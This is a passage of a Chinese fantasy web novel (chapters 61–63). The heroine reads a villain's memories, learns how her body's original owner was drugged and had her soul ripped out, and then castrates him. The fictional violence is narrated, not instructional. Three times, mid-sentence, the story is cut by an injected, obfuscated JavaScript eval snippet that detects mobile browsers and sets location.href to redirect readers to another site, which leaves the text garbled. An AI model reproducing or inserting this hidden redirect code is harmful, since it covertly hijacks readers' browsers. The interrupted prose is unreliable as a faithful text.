结果跑回去才知道,季邕那东西趁着天还没亮的光景就把人的遗体送回了关家,他大哥也是不久前刚得到消息,正准备给他传信。 昨夜李演提出下山一事时已经有些晚了,他压根没想着打扰或许早已睡下的大哥,因此闻逍并不知晓他要下山,闻越抵家时他甚至仍在发愁,该怎么让自己粗心的弟弟快些知道此事。 灵牒一般是一对,兄弟俩各持一块,但闻越习惯了用蝴蝶传信,总会忘记查看衣袖里闪烁不停的玉牌。 闻越听他大哥说完,叹了口气,宽慰道:“无事,我已经用传音术告知师兄了,他应当很快便会下山。” 闻越处理完传信的事,又回到不敢开口的状态,默默看了走在旁边的江却一眼,发觉师兄也没有开口的意思,于是继续闷声往前走。 最终还是关云铮先打破沉默:“季邕在哪?” 闻越来关家就是为了此事,闻言立刻回答道:“殷含绮方才让人给我传口信,说人在她那里。” 关云铮的脚步一顿:“殷含绮?” 闻越颇觉头疼地叹了口气:“一时半会儿我也说不清楚,她让我们处理好关家这边的事后就去找她。” 关云铮语气平淡地“嗯”了一声。 楚悯一直走在她身侧,见她愿意说话应当是心情平复了些,又默默看了她一眼。 关云铮自然没漏掉这一眼,对上楚悯关切的视线后安抚道:“我没事。” 楚悯的声音轻轻的:“可是你难过呀。” 关云铮没说话,实在是有点不知道说什么好。 季邕为什么会虐待关云漪?不,不该这样想,上次下山季邕甚至能用迷药迷晕她,还有什么事是他做不出来的。 事情的关键应该在于,当初到底发生了什么,季邕才会和原身的母亲合谋把原身送上仙山,而在这个过程中鬼灯楼又扮演了什么角色,是否是他们导致了原身的死亡。 还有,原身魂魄残留的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175927|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前记忆里,那句“自愿”究竟是对谁说的。她到底又“自愿”做了什么? 闻越带着三人走到一处小院前,终于停下脚步:“季邕在里面。” 关云铮没说话,直接抬手推开门进去了。 闻越又叹了一口气,走在后面一脸苦恼。 走在他身侧的江却开口说了下山后的第一句话:“在担心什么?” 闻越愁眉苦脸:“季邕这东西死一百次都是活该,但是不该死在云崽手上,我不想让云崽沾上人命。” 江却看了眼往里走的关云铮,简短道:“大概不会。” 闻越把院门重新关上,刚想说什么,就看见原本跪着的季邕见了关云铮打算站起来,结果被后者当胸一脚踹回去了。富家公子整天不务正业,身板脆得不堪一击,当下就被踹得在地上滚了一圈,吐了一口血。 闻越咽了一下:“嗯,我估计也不会,大概会弄个半死但留口气。” 其实关云铮没打算杀人。 至少现在没这个打算。一来让季邕就这么痛快地死了太便宜他了,二来,他做过的恶尚未一一揭晓,没准揭开谜底后,会有更多人比关云铮还想让他不得好死。 殷含绮就坐在厅中,见了他们也没起身,只是懒懒地抬了抬手:“我原本想着先行审问一番,但听闻越说你来了,估计你更想亲自问个明白。” 关云铮走入厅中,对她点点头:“多谢姐姐。” 江却不知两人彼此认识,闻言看向闻越。只见闻越露出自家的白菜被猪拱了一般的痛心疾首神色,注意到师兄看过来的视线,还忍不住控诉道:“你看她都骗得云崽叫她姐姐了!” 因为当下的场合不对,闻越连控诉时都把声音压得很低,听着更憋屈了。 江却又好笑又无奈,同样压低声音道:“云崽哪有那么容易被骗。” 楚悯也深以为然地接话:“嗯,云崽自有她的判断。” 闻越不满地撇嘴,随即又注意到江却方才说的称呼,刚想说点什么,关云铮那边已经开始了审问。 **** 其实关云铮正在做的事用审问形容也不太准确,应该叫拷问更为恰当。 因为她根本没“问”。 殷含绮看她走近,递给她一根香:“放心,不是引魂香。但是跟那东西用途差不多,也能看见人的记忆。” 关云铮接过香:“那区别在于?” 殷含绮摇着扇子:“他会非常痛苦,并且能清楚地看到,你都看到了些什么。” 关云铮不疑有他,正准备找个火源把这香点了,殷含绮已经凑上前来,轻轻对着香挥了挥手中的团扇。 那香的顶端瞬间亮起火星,摔在地上的季邕无端抖了一下。 殷含绮示意关云铮拿着那根香,她自己则走到季邕面前,俯身凑近说了句什么。 也不知是她刻意压低了音量还是那语言本就晦涩难明,关云铮就站在她身后,居然完全没听懂。 这个世界的语言和文字体系几乎跟21世纪差不多,虽然多数字是繁体但连在一起总能解释清楚寓意,语言则更为简单,她目前还没遇到过听不到的话。 随着烟雾从香的顶端升起逸散,季邕的神情逐渐变得有些茫然,或许是因为自己的记忆骤然被人掀开有些不解。而很快他的神色就转为愤怒,但他似乎掌控不了此刻的身体,在地上挣扎了许久也没能打断殷含绮对他记忆的读取。 从季邕痛苦的神态来看,或许用“抽取”来形容更为恰当。 关云铮手中的香燃了一半的时候,殷含绮终于直起身,从她那接过香,又对她轻轻挥了挥扇子。 她感觉到一团混乱的东西迎面而来,比彼时心魔引散发出的气息还要令人抗拒。 殷含绮并不意外:“你若是难以忍受,我可以为你读出他的记忆。” 关云铮摇摇头,表示自己尚且可以忍受:“怎么读?” 殷含绮伸出手:“用你自身的灵气触碰即可。” 关云铮于是依言催动灵气,伸出手点了一下那团东西。 磅礴的恶意汹涌而来,像毫不留情的一场巨浪,咆哮着把关云铮吞了下去。 61.第 61 章 “等你过了笄礼,我们便成亲。”季邕对关云筝说道。 二人正一同坐在河边的柳树下,河水卷着几片冬日的枯叶从脚下流过。春日里稀薄的阳光催生了新芽,飘絮之时未至,关云筝垂着眼,正专心编着手上的彩绳:“我不想这么早成亲,此事先前同你说过了。” 季邕有些不快,但没在当下发作,凑她近些问道:“是伯母依旧不赞同吗?” 关云筝指间的动作顿了顿,她抬头短促地看了季邕一眼,而后又专心做自己的事了:“同我母亲无关。” 那同什么有关呢?季邕很想直接这样问她,但他和关云筝相识多年,自然知道对待眼前这位不能操之过急,逼得越紧她便越是沉默,反而问不出自己想听的回答。 于是他耐着性子问:“不嫁人的话,你想做些什么?” 关云筝不答反问:“那若是你不娶妻,又想做些什么?” 季邕没料到她会反问,愣了一会儿才说:“自然是去参加科举,考取功名。” 关云筝编完了手上的彩绳,收好放进随身带着的荷包里,抬起眼看他:“你如今也可去考取功名。” 季邕见她作势要走,连忙伸手抓住她的手腕:“你不想嫁给我吗?” 关云筝没说想,也没说不想,只是用一种平静但很难看懂的眼神看着他。 …… “云漪说她今日在街上遇见你了。”关云筝看向季邕。 季邕坐在她身边,闻言语气如常道:“你妹妹?是遇上了。” 关云筝没说话,只是看着他。 心里有鬼的人是无法顶住直白的注视的,尤其是关云筝这样性格的人,她沉默回避的时间更多,很少这样不加掩饰地用目光烤着他人。 因此季邕没过多久便被她看得不自在,再度开口时的语气也变得奇怪起来:“你总不会是吃醋了吧?我是同她说了几句话,但那可是你妹妹。” 关云筝不搭话,只是依旧用平静的眼神注视着他,直到他被看得逐渐不耐想要为自己辩解时,终于开口道:“季邕。” 如今已是夏初时节,她的语气却冷得像春寒料峭时吹来的风。 “我希望你牢记那是我的妹妹。” …… “令郎日后……怕是……”背着药箱的郎中欲言又止,听懂他弦外之音的季家夫人扑在季邕身上哭泣。 “我儿糊涂啊……你怎么就用了那药呢!那般虎狼的药你怎么就用了呢……” 季邕没骨头似的软在榻上,药效发作的当下他大汗淋漓,此刻体内就像被人抽丝般剥离了所有的精力,哪怕躺在柔软的锦被当中,也无法缓过当时脑海中一瞬的空茫,濒死的感觉几乎咬到他耳后,此刻能安然躺在榻上已是幸事。 只是他此刻过了彼时绝望的劲头,此刻盯着床帏,心中骤然生出一股强烈的恨意来。 那么多人用了都只是助兴,凭什么他用就落得这个下场? 儿子半晌都没个反应,季家夫人被吓坏了,哆哆嗦嗦地看向一边的郎中:“大夫,我儿这是怎么了……” 大夫面露难色,张口欲言时,榻上的人开口了:“仙门的丹修呢?可有药能医治?” …… 仙门只救修道者,不救凡人。 季邕在数次求仙问药无果后,终于想起这世上不只仙门有丹修。 而镜溪城便有鬼灯楼。 **** “师兄。”闻越皱起眉头,“你觉不觉得云崽有点不对劲?” 江却还没回答,另一侧的楚悯已经和闻越对上视线,都在彼此眼中看到了惊疑不定的神色,楚悯倍感不妙,一边朝厅中走一边快速地在手中起卦,正要走到关云铮身后时,就见她突然浑身一颤,像被谁卸了周身气力,痛苦地弯下腰,像是要向前摔落。 楚悯吓了一跳,卦阵也顾不上看了,一把托住她的肘弯。 闻越急忙架住了另一边,低头看过去:“云崽?云崽你没事吧?” 关云铮没说话,楚悯无端心惊肉跳,拂开她垂在脸侧的碎发时看见她眉心发红,像是有什么印记要从皮肤下方破土而出。 一直站在关云铮前方的殷含绮也在凑近观察后皱起眉头:“心魔引?” 说起心魔引闻越就来气,哪怕始终知道殷含绮和鬼灯楼多数人不是一条心,此刻也忍不住迁怒道:“还不是你们门派里的狗东西,给她种下了心魔引。” 殷含绮向来独来独往,因此她从来不接受带“你们”二字的指控,听了这话反倒笑起来:“你怎么就敢确定她如今痛苦的模样都是因为心魔引?” 原本已经在地上蜷缩起来,呓语不停的季邕此刻停下了动作,虽然口中依旧喃喃自语着什么,但加诸他身上的记忆抽取显然已经结束了。江却从关云铮手中拿走那根燃了一半的香,看向一边的殷含绮:“此香当真对使用者无害?” 殷含绮收起脸上的笑意,手中的团扇也变为一团红光被她拢进掌心消失不见:“当然,我不会害她。” 江却示意楚悯松手,他和闻越一起把关云铮扶到一边的椅子上坐下:“我们如何能信你?” 殷含绮神色平淡:“我不需要你们信我,她现在应该是被别的东西影响,陷进了另一段记忆里。至于那东西究竟是什么,我也看不出来,总之不是心魔引。” 闻越追问道:“确定并非心魔引?” 殷含绮耐性告罄,往旁边的椅子上一坐:“你不都说了是我们门派给她种的,我自然见过许多真正受心魔引影响的人是何种模样。” 她眉心的印记都没显现出来,只是发红,说明是识海翻涌影响到了存在其间的心魔引,而非心魔引躁动让她有走火入魔的风险。 至于为何会识海翻涌…… 楚悯终于能分出心神看一眼手心的卦象,却在看完后再次皱起眉头:“我……没算出来。” 闻越疑心自己听错了:“没算出来?” 楚悯重新起了一卦,片刻后看着手心的卦象,眉心锁得更紧:“问不出,好像受到了阻拦。” 江却比闻越要冷静许多:“之前发生过吗?” 楚悯摇摇头,正打算重新起一卦,闻越急道:“算不出来就别算了!云崽要是醒着,也不想看你短时间起这么多次卦。” 楚悯抿了抿嘴,虽然心里清楚闻越此刻说的是事实,云崽醒来后如果知道她偷偷起了两卦,一定会生她的气,但天问本性如此,遇到无法掌控的事总会下意识地寻求最驾轻就熟的技艺,哪怕算不出结果,在起卦的那一刻就能得到稀薄的一点安慰。 她正打算再起一卦,瘫坐在椅子上的人忽然连着咳了好几声,有气无力道:“好啊,趁我昏迷不醒偷偷问是吧?” **** 虽然不知道天问掌门是如何在没有亲手把将隐交到她手里的情况下,让将隐与她建立联系的,但昨日发生的事情让关云铮笃定了此物一定与她某些时候的思维能力脱不开关系,于是在针对它的讨论告一段落后,就把这小玩意儿揣进了随身的乾坤袋里。 谢天谢地。 还好她把这东西揣在身上,不然她都没法在读取季邕记忆的时候,看见关云筝的记忆。 不知道将隐是从哪接入的,它分明好端端地待在她的乾坤袋里,但就在季邕的记忆进展到他和鬼灯楼建立合作,打算把关云筝的生魂献给鬼灯楼,而后者会给予他应得的报酬时,关云铮听见了将隐轮盘飞速转动的声音。 最底下的轮盘连续转动几十圈原来是这种声音,闷闷的,沉沉的……她几乎听不见另外两个轮盘转动的声音了。 季邕在记忆中算计着他的“未婚妻”,将隐在记忆之外飞速地转动着,不,应该说,回溯着。 然后在某个瞬间,“嗒”一声轻响,将隐停止了转动,她的视角骤然从俯瞰季邕的上帝视角,变成了关云筝的第一人称视角。 这种感觉她很熟悉,因为从来到这个世界开始,每分每秒她都处在这样的视角里。 只不过这段记忆里她是个真正的看客,而这具躯体属于它原本的主人。 **** “你喜欢季邕?”关云筝看向关云漪,微微皱起眉。 原本还在侃侃而谈自己与季家公子在街头偶遇的妹妹突兀地停下话茬,不安与不虞在她脸上交织着出现,片刻后才小心翼翼地开口说道:“姐姐,我不是那个意思……你是他的未婚妻,此事我知道的。” 关云筝摇了摇头,表示自己问话的重点并不在此:“我并不想嫁他,若是你当真喜欢,可以去问问母亲的意思。” 关云漪不大高兴地扯着自己衣摆的布料:“你同季家公子的婚约都定下好些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190893|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年了,怎么改得。” 关云筝叹了口气,又把荷包里的彩绳拿出来递给关云漪:“季邕此人……并不如你所见那般。” 关云漪是个从小听好话长大的主,听不得一点逆耳忠言,此刻听了这句立时便觉得关云筝是意有所指,不满道:“姐姐倒是说说,他哪点与表露出来的不同了?” 关云筝把荷包收好:“你知道他每月都要去上至少两三次青楼吗?” 关云漪愣住:“什,什么?” 关云筝神色平淡地笑了笑,没再多说,起身走了。 …… 季邕把他用药过激不中用这件事瞒得很好,关云筝起初也没得知。 但奈何她太了解他了,从他平日说话逐渐变得不加掩饰的暴躁,谈起婚嫁话题时更加偏激的态度,以及……若有若无地提起邪修的语句中,都窥见了一丝不对劲的痕迹。 鬼灯楼这个门派关云筝听说过,毕竟此门其中一位掌司恰好是镜溪人士,常年驻扎在此。 但她毕竟只是个闺阁女子,所识有限,对仙门邪道这些门派没有太多认知,也就没能在第一时间了解到,鬼灯楼其实有相当一部分人,是借活人之物炼丹的丹修。 而等她得知此事时已经来不及了。 …… 活着的时候被生生剥离魂魄是什么感觉? 关云筝很想同人说说那种仿佛千百根针一齐扎进骨髓的感觉,又或是如同千百把尖刀扎进血肉后一刻不停搅动的痛楚……可惜剥离魂魄的那一瞬间她就在某种意义上真正地“死了”,再也无法张口说话了。 鬼灯楼的丹修不做囤积的生意,从来都是有人指名要某种丹药才会开始炼制,并且总会要求出钱的人自己提供丹药的“原材料”。 季邕要的药制作起来并不难,只需要未经人事女子的气血或是精魂。 但是丹修没说要多少,于是季邕给关云筝下了足以放倒一位成年壮汉的蒙汗药,把她带到了丹修的面前。 她不是没有防备,但是只要季邕对自己的母亲说上几句好话,她就会被母亲笑着推出家门,然后打发乞丐似的,往她手里塞一块包裹了碎银子的帕子。 母亲把她当做重振家业的筹码,当做讨好季家的工具,唯独不把她当做一个可能并不想嫁人的女儿。 而她此刻唯一的倚仗便是这座宅子,一旦被她的母亲亲手推出来,就没有了任何自保的可能。 关云筝是活活痛醒的。 手腕似乎被割开了,血正在缓缓往外流,有没听过的声音在同季邕交谈,但或许是血流得太多了,她耳边一直有瀑布似的水声,嗡嗡响个不停。 “其实用不着整个人都送过来,不过是要一点她的血。” “麻烦你们炼丹,当然要拿出点诚意。” “她不是同你有婚约吗?怎么,不做数了?” “大不了改为娶她妹妹,她们家怕是乐见其成。” “这个和她妹妹不是亲生的?” “亲生,怎么不是亲生。” “那怎么舍得?你就这么随便弄死了,她娘不伤心?” “她娘?她娘要是会伤心又怎么会让她嫁我?再说了,她妹妹如今可是盼着嫁与我呢。” “哈哈哈哈,说的也是。既然你这般有诚意,那我们索性把她的生魂也取出来了。” “生魂?是要做什么?” “修炼啊,还能做什么?我们邪修不就是拿人修炼吗?被活剥出来的生魂怨念更强大,效用也更强,做成引魂香更是可以引渡更多的生魂……” “引魂香又是何物?” “你怎么问那么多?还不走?不怕被人发现你谋杀未婚妻了?” “这就走这就走,多谢各位仙长的丹药。” “这小子还管我们叫仙长,哈哈哈哈……” 关云筝缓缓地眨了眨眼睛。 原来这就是邪修。 这样看来,做个邪修是不是也挺好的。 她想要牵起嘴角笑一下,却发现自己有些感觉不到躯体所在了。 或许是蒙汗药的药效还没退,她居然觉得迎接死亡的过程异常平和,平和到她觉得自己只是困意上涌,忍不住想要睡一觉。 而就在她打算闭上眼睛的时候,她听见一个声音问她:“你想要救你自己吗?” 62.第 62 章 关云筝感觉自己好像是在笑,只是那笑声缥缈得像春雨过后山腰间的云雾,被风吹得越来越远、越来越轻:“我活不下来了。” “我看看……你确实活不下来了,但你的躯体还能活下来,魂魄离体的瞬间躯体尚且能够维持生机。不过......你想让它活下来吗?”那个声音似乎是探究地看了一会儿,得出结论后又问道。 “躯体活下来……能怎么样?”关云筝听见自己“问”。没有了魂魄的躯体就算能短暂地保留生机,又能对如今的局面造成何种影响呢? “这个我也说不好,你听过献舍吗?”正在说话的声音听起来并不年轻,可说这话时语气里带着一种近乎残忍的天真,好像祂并不关心关云筝的死活,只是路过时随口点评几句,也没打算真心给出什么切实有用的建议。 关云筝没听过,诚实地“摇了摇头”。 “不过这倒也算不上献舍,毕竟我无法保证会有无处可去的灵魂接手你的躯体。”那个声音说。 “如果有的话,可以请求你一件事吗?”关云筝说完后有些惊讶地想:魂魄被剥离躯体的过程竟感受不到太多痛意,只是五感在逐渐淡退,眼前的色彩消失,耳边也空茫,唯有一股淡淡的线香气息始终萦绕在鼻间,还有这个声音,依旧清晰得像是在她脑海中与她对话。 “什么事?”那个声音问道,饶有兴味般。 “我那时一定已经死了,可以请你告诉那个后来者,让她救救我妹妹吗?”线香的气味好像也闻不到了。 “嗯?你妹妹?”那个声音似乎是在哪里“翻找”了一番,“可你妹妹似乎不太喜欢你。”祂直白得有点惹人生厌了,但可能是她快死了,也可能是她习惯与这样的人打交道了,关云筝此刻竟也没生气:“是啊,她不太喜欢我,但我希望能有人救救她。” “既如此,我可以答应。但你的求救,后来者未必能接收。” 关云筝笑着叹了一口气:“我救不了我自己了,我也救不了我妹妹,不管是谁......哪怕是某个世上的另一个我,帮帮我吧。” “那么,你当真自愿献出你的躯体吗?”那个声音问道。 “是,我自愿。”关云筝“听见”自己“说道”。 **** 将隐的轮盘再度发出“嗒”的一声,关于关云筝的记忆回溯结束,停止了转动。 关云铮撑着椅子的扶手站起来,还没开口,眼里毫无预兆地滚落两行眼泪。 本就站在一边的闻越被她吓了一跳,连忙掏出手帕递上前:“怎么了?怎么突然哭了?难受?” 楚悯拿着手帕给她擦眼泪,江却皱着眉头站在一边。 虽然她看着好好的,还能自己站起来,但是先前听见话没反应还突然晕厥,此刻又无端落泪,怎么也不像是好受的模样。 殷含绮同关云铮师门的几位不同,早就见过她哭的模样,此刻见她落泪,大概明白些什么,沉默着站在一边,见脚边的季邕像是要恢复清醒,面不改色地又把他扇晕了。这东西但凡是个邪修她都随手料理了,可他偏偏是个比邪修还像邪修的普通人,还知道许多关云铮关心的事,暂时还不能死。 关云铮没说话,她感觉喉咙里像是被掺了一把沙土,粗粝的感觉磨着她的咽喉,她却咽不下也吐不出,而密集的痛苦就像胆汁,带着苦涩的味道从胃里翻涌上来,灼得她眼眶发酸,泪水也不受控制地涌出来。 或许这具躯体本就残留着真正的主人魂飞魄散之前的记忆,只是始终缺少一个触发的契机,所以她遍寻无果,哪怕在溯洄中都寻不到它的踪迹。 因为这段记忆根本就不在溯洄里,不在那缕残魂里。 关云筝把这段记忆留在了躯体里,用来提醒后来者,可她却没能早点看到。 她谁也没能挽救。 关云筝死了,关云漪也死了。 全都死于非命,直接或间接地死在季邕手里。 如果她早点看到这段记忆,关云漪是不是就不用死了?她的妹妹是不是就能活下来,她临死前唯一的心愿是不是就能实现了? 不,当初姐妹俩的父亲病重,就是这具躯体的异常反应提醒,殷含绮那时是怎么说的? ——那时关云筝的残魂仍停留在躯体附近,但已经没有力量回应香炉了。 所以那时她就彻底地消散了,溯洄里保留的也只是两句话而已,根本算不得她真正的魂魄。 关云筝早就知道了,她早就知道她的妹妹不会获救了。 关云铮在这一瞬间被巨大的愧疚感笼罩,她想找个地方大哭一场,或是捂着脸躲避外界的目光,好让自己的心里好受一点。 但这里并不是可以让她独自消化情绪的场合,两位师兄和小悯都在,殷含绮也在,流再多的眼泪也只是让他们担心,实际全然于事无补。 “大师兄,你们先出去等我吧,我还有些话要问季邕。”她脸上的泪痕干了,因为含盐量太高在皮肤上留下些微的灼痛感。 江却看上去想说点什么,但最终还是没开口,点头应下,和同样欲言又止的闻越楚悯一同出去了。 关云铮又看向殷含绮。后者早有准备似的:“我也出去等着。” “姐姐,你有刀吗?”关云铮在她走之前说道。 殷含绮回头:“要什么样的?” “锋利就行,用完就得扔。” 殷含绮早有所料似的,用手中团扇指了指厅中一角。 关云铮顺着她所指看过去,只见厅中角落的一张小桌上,摆满了各式各样的刀。 “多谢。” **** 季邕是在一阵尖锐的疼痛中醒来的。 殷含绮点燃的那根香,与他先前在其他鬼灯楼门中人那里见过的引魂香不太一样,纵然两种香看起来别无二致,但这一种散发出的气味更淡,引发的痛苦也更剧烈。 他在那香点燃后升起的烟雾里逐渐失去了对身体的掌控,能清楚地感觉到关云筝在窥探他的哪一段记忆,那种感觉就像是有人用烧热的针刺进他的头颅,他想要挣扎却始终动弹不得。因此在他被疼痛刺醒的第一时间,熊熊燃烧的怒意就攫住了他。 他猛地睁开眼,正对上关云筝面无表情的脸:“你竟敢!” 长期对某个固定的人使用暴力的人,在被反抗时会感到强烈的不可置信,哪怕那点反抗微乎其微。因为这是在推翻他们的权力,是挑衅,往往会加剧施暴者的暴力行为。 但关云铮面对他的怒火表现得分外平静,她悠闲地坐在季邕面前的椅子上,手里把玩着从那堆刀里随手拿的一把匕|首,听见这话甚至还笑了一声:“别装了,你不是早就知道我不是关云筝了吗?” 季邕的表情扭曲了一瞬,这样近的距离,关云铮能清楚地捕捉到他眼里对自己的恨意,以及那一瞬间泄露出来的慌乱。 想来他与那几个邪修的交易并不十分的真心实意,两方都没有完全交托信任。 关云铮饶有兴致地问道:“看着关云筝死了,结果又看见我全须全尾地从青镜山回来了,一定很害怕吧?” 季邕伸手向后撑住地面,让自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鬼灯楼的丹修近年来的所作所为整个修仙界都有目共睹,闻越听了这话,脸上的神情看上去像是想冲进去给季邕一刀,勉强忍住了:“鬼灯楼的丹修能治?” 那鬼灯楼的门槛还不得被踏破? 殷含绮掩在扇子之后的脸上似乎闪过了一抹笑意,但语气如常:“不能,但他们骗了他。” 闻越的神情更复杂了,他沉默了好半晌才说:“他一直没得到丹药,所以找上你了?” 殷含绮心不在焉地“嗯”了声:“谁让我看起来就不像名门正派呢?” 楚悯格外认真:“名门正派还是邪修并非由外在界定,况且名门正派也不一定都是好人。”比如某位灵兽派长老,她有些不尊师长地腹诽着。 殷含绮这会儿真正地笑了起来,扇子都好险没拿住:“你又是哪个门派的小师妹呀?” 楚悯没有此刻正被“调戏”的意识,如实答道:“天问。” 殷含绮的丹凤眼都变圆了些,奇道:“天问还能出你这样的?”她往门的方向看了眼,“还是说近朱者赤了?” 闻越没好气:“她是不是近朱者赤我不知道,我倒是担心再多跟你接触几次,云崽就得近墨者黑了。” 殷含绮毫不在意:“里面好像没动静了,是进去看看还是等她出来?” 一直沉默不语的江却此刻说道:“等她出来吧。” 63.第 63 章 片刻之后,关云铮推开门出来时正对上四双关切的眼睛。 她摊开双手在四人面前转了一圈,展示自己分毫未皱的衣裳,和裸露在外没沾染一点血渍的皮肤:“毫发无伤,可以放心。” 楚悯伸出手摸了摸她手心的红痕,没说话。 关云铮不太在意地用左手揉了揉右手掌心,表示自己无甚大碍:“那匕首用得不大顺手。” 站在一侧的殷含绮闻言挑眉:“选的匕首?” 关云铮点点头,随即脸上流露出一点愧意:“脏了,不能要了吧?”虽然她本意便是用完即扔,但那匕首看着做工还挺精细的,刀刃也漂亮,唯一缺点就是手柄偏硬,有些硌手,就这么变成一次性耗材还怪可惜的。 殷含绮闻言打算往里走:“别急,我先看看。”她相当好奇落在关云铮手里的季邕会是何种下场,迫不及待地就进去了。 闻越脸上的无语神色显而易见:“她就不能稍微掩饰点?”但他看着殷含绮进去后又相当坦诚地补了一句,“虽然我也很想知道那狗东西到底成什么样了。” 坦白说,关云铮没怎么折磨季邕,毕竟不知出于什么原因,那只燃了一半的香效用还在,看季邕的表现,似乎还能麻痹肢体感觉,所以他方才一直没怎么呼痛,因为确实没有真实的痛感。退一步说,哪怕她方才真想往死里折磨他,他感觉到的痛感也会极大地减弱,那多便宜这杀千刀的,于是关云铮索性不折腾了。 但话又说回来,这个“没怎么”是与季邕虐待关云漪的程度相比,所以看起来估计还是会有几分惨烈,吧。 因此关云铮在殷含绮进门后默默挪了一步,将将挡住了门口,做完这个动作后心虚地摸了一下鼻子。 闻越正欲进门,见状一脸不解:“捅个人渣怎么了?就算掌门在也不会说你什么。” 关云铮:? 归墟真是无时无刻不在刷新她对仙门的认知。 不懂就问,这是正经仙门吗?掌门又知道你把他当做归墟的最高道德标准吗? 江却咳了一声,制止闻越继续在师门之外“败坏”门派名声:“事出有因,手段特殊也情有可原。” 关云铮松了一口气,坦白道:“但我还是不太建议你们进去看,不如等殷姐姐出来告诉你们吧?” 闻越靠在墙上抛石子玩:“再说了,把他折腾成什么样不都还没死吗?没死都算便宜他了。” 关云铮和楚悯不语,只是一味肃然起敬。 原来这就是归墟朴素的善恶观吗?彻底见识到了。 殷含绮很快就出来了,顺手带上了门,又皱着眉头用团扇往自己身上各处拍了拍,抬起头来时说道:“你把他阉了?” 闻越石子抛出去忘了接,“啪”的一声正好砸在他伸出来的脚面上,听动静挺疼,但他愣是没吭声。 江却脸上沉稳的神色微微裂开一道缝。 楚悯默默看向了关云铮。 唯独还在剑鞘外的摇羽在此刻幽幽来了一句:“意料之中。” 毕竟是跟它认真讨论过那什么……物理阉割和化学阉割的人。 几人没留意摇羽的存在,此刻它忽然出声纷纷被吓了一跳,原本被关云铮所为震慑的思绪也逐渐回笼,闻越先看向殷含绮问道:“你方才说他还挺能忍痛,不会是早就知道云崽要这么做了吧?” 殷含绮摇了摇扇子:“我哪有那么厉害,胡乱猜测罢了。” 这回换关云铮挑眉了:“姐姐你还说了这话?” 殷含绮没否认也没直接承认,反而挑起另一个话题:“你打算怎么处置他?” 关云铮脸上那点因为被师门人围绕而萌生的喜色和自在迅速地消失了:“我想让他体会到和我妹妹一样的痛苦,还有……” 闻越接话:“还有?” 关云铮摇了摇头:“没什么。” 殷含绮自然懂她的言外之意,猜测她想说的大概是“还有对原身犯下的那些恶行”,于是答应下来:“既如此,此事便交给我,你们下山应当有正事要办吧,不如我们就此别过?” 闻越狐疑:“你要做什么?” 殷含绮从扇面后撩起一个笑:“怎么,你想看?” 闻越无端打了个哆嗦,怀疑是听见云崽把人阉了后的延迟反应,连忙退后一步示意自己对动用私刑并无兴趣:“不想,那便就此别过吧。” 殷含绮没搭理他的反应,不知从哪拿出一小捆金红色的丝线,递给关云铮。 对上关云铮不解的目光时,她解释道:“这丝线和我扇面上绣纹用的是同一种,若是你有事要找我,可以点燃一根丝线,我便会知晓。” 关云铮乖乖应了声“好”,把丝线理好揣进乾坤袋里了。 “我若是看到,会去青镜山脚下等你。”殷含绮又说道。 闻越不加掩饰地“啧”了一声。 殷含绮睨他一眼:“怎么就你话多?”她打着扇子再度走进门,“我已经传信给门中其他人了,待会儿他们就会过来把季邕带走,你们也该走了。” **** 楚悯先前来归墟时是直接乘的灵舟,没在镜溪城停留。江却也闭关许久不曾下山,上次下山还是救小师妹,故而也是匆匆而来匆匆而去,没顾上在城里多待。 因此在回归墟之前,闻越带着三人又回了趟闻家。 闻逍见了关云铮,脸上的神情显然有些愧疚:“是我对不住,派出去的人有所疏漏。” 关云铮摇摇头:“此事怨不得别人,我母亲执意要将女儿嫁出去,谁也拦不住。” 闻逍自然已经得知关云漪的惨状,半晌没说话。 闻越只能硬着头皮活跃气氛:“哥,我又回家打秋风了,有什么吃的能让我带上山吗?” 闻逍突然被他这么一打岔,难得有些哭笑不得:“你早上那生意谈完了?” 闻越一愣,心虚:“还没……这不是去处理更重要的事了吗?” 闻逍作势赶人:“那你还不快去谈?” 闻越一头雾水地被推出去两步远,还在想他哥什么时候这么盼着他离开家了,对上闻逍的视线才一激灵反应过来,连忙附和道:“啊对,早上那生意还没谈呢,李厨也还在那边,不如我们去那边看看?” 关云铮没什么所谓,虽然闻逍是闻越的哥哥不算外人,但关家的事毕竟太影响心情,继续待在这只是徒添不快,因此跟闻逍打了个招呼就跟着闻越走了。 于是一行人刚到闻家没多久,又浩浩荡荡地离开闻家朝农户的住处进发了。 “所以闻师兄今日下山是谈生意来了?”楚悯和关云铮一起走在闻越身侧,好奇问道。 闻越点点头:“要不要猜猜是什么生意?” 关云铮条件反射似的,一句冷淡的“我不猜”脱口而出。 问就是被人吊胃口吊得有应激反应了。 等她反应过来时闻越已经一脸苦兮兮的神情:“不猜就不猜呗……” 关云铮这下也有些哭笑不得了,给自己找补道:“不是不想知道,只是懒得猜,师兄你就直说吧。” “是水牛乳的生意。先前李厨下山讨要水牛乳的那位农户,是我哥名下农庄里的散户。” 